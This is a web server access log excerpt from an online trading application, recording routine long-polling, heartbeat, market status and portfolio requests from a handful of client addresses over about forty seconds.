[09/Jan/2026:11:54:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931130143 HTTP/1.1" -
[09/Jan/2026:11:54:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931130625 HTTP/1.1" -
[09/Jan/2026:11:54:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:54:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931131035 HTTP/1.1" -
[09/Jan/2026:11:54:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:54:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931131939 HTTP/1.1" -
[09/Jan/2026:11:54:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931133135 HTTP/1.1" -
[09/Jan/2026:11:54:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:54:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931134516 HTTP/1.1" -
[09/Jan/2026:11:54:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931133301 HTTP/1.1" -
[09/Jan/2026:11:54:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931135399 HTTP/1.1" -
[09/Jan/2026:11:54:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931135751 HTTP/1.1" -
[09/Jan/2026:11:54:27 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931136089 HTTP/1.1" -
[09/Jan/2026:11:54:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931137004 HTTP/1.1" -
[09/Jan/2026:11:54:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931138189 HTTP/1.1" -
[09/Jan/2026:11:54:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931139540 HTTP/1.1" -
[09/Jan/2026:11:54:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:54:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931138331 HTTP/1.1" -
[09/Jan/2026:11:54:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931140701 HTTP/1.1" -
[09/Jan/2026:11:54:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931140920 HTTP/1.1" -
[09/Jan/2026:11:54:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931141145 HTTP/1.1" -
[09/Jan/2026:11:54:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931142059 HTTP/1.1" -
[09/Jan/2026:11:54:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931143254 HTTP/1.1" -
[09/Jan/2026:11:54:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931144566 HTTP/1.1" -
[09/Jan/2026:11:54:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931143400 HTTP/1.1" -
[09/Jan/2026:11:54:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931145804 HTTP/1.1" -
[09/Jan/2026:11:54:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1501
[09/Jan/2026:11:54:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931146102 HTTP/1.1" -
[09/Jan/2026:11:54:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:54:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931146211 HTTP/1.1" -
[09/Jan/2026:11:54:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931147117 HTTP/1.1" -
[09/Jan/2026:11:54:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931148319 HTTP/1.1" -
[09/Jan/2026:11:54:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:54:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:54:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931149593 HTTP/1.1" -
[09/Jan/2026:11:54:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931148502 HTTP/1.1" -
[09/Jan/2026:11:54:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931151245 HTTP/1.1" -
[09/Jan/2026:11:54:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931151084 HTTP/1.1" -
[09/Jan/2026:11:54:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931151267 HTTP/1.1" -
[09/Jan/2026:11:54:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931152182 HTTP/1.1" -
[09/Jan/2026:11:54:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931153376 HTTP/1.1" -
[09/Jan/2026:11:54:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931154633 HTTP/1.1" -
[09/Jan/2026:11:54:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931153582 HTTP/1.1" -
[09/Jan/2026:11:54:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931156295 HTTP/1.1" -
[09/Jan/2026:11:54:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931156334 HTTP/1.1" -
[09/Jan/2026:11:54:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931156271 HTTP/1.1" -
[09/Jan/2026:11:54:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:54:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:54:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931157254 HTTP/1.1" -
[09/Jan/2026:11:54:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931158441 HTTP/1.1" -
[09/Jan/2026:11:54:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:54:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:54:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931159677 HTTP/1.1" -
[09/Jan/2026:11:54:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931158677 HTTP/1.1" -
[09/Jan/2026:11:54:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:54:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931161440 HTTP/1.1" -
[09/Jan/2026:11:54:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931161401 HTTP/1.1" -
[09/Jan/2026:11:54:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931161563 HTTP/1.1" -
[09/Jan/2026:11:54:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:54:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931162317 HTTP/1.1" -
[09/Jan/2026:11:54:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931163499 HTTP/1.1" -
[09/Jan/2026:11:54:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:54:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931164701 HTTP/1.1" -
[09/Jan/2026:11:54:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931163741 HTTP/1.1" -
[09/Jan/2026:11:54:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931166465 HTTP/1.1" -
[09/Jan/2026:11:54:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931166597 HTTP/1.1" -
[09/Jan/2026:11:54:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931166753 HTTP/1.1" -
[09/Jan/2026:11:54:58 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931167380 HTTP/1.1" -
[09/Jan/2026:11:54:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931168562 HTTP/1.1" -
[09/Jan/2026:11:55:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931169729 HTTP/1.1" -
[09/Jan/2026:11:55:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:55:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:55:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931168887 HTTP/1.1" -
[09/Jan/2026:11:55:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931171530 HTTP/1.1" -
[09/Jan/2026:11:55:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931171720 HTTP/1.1" -
[09/Jan/2026:11:55:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931171982 HTTP/1.1" -
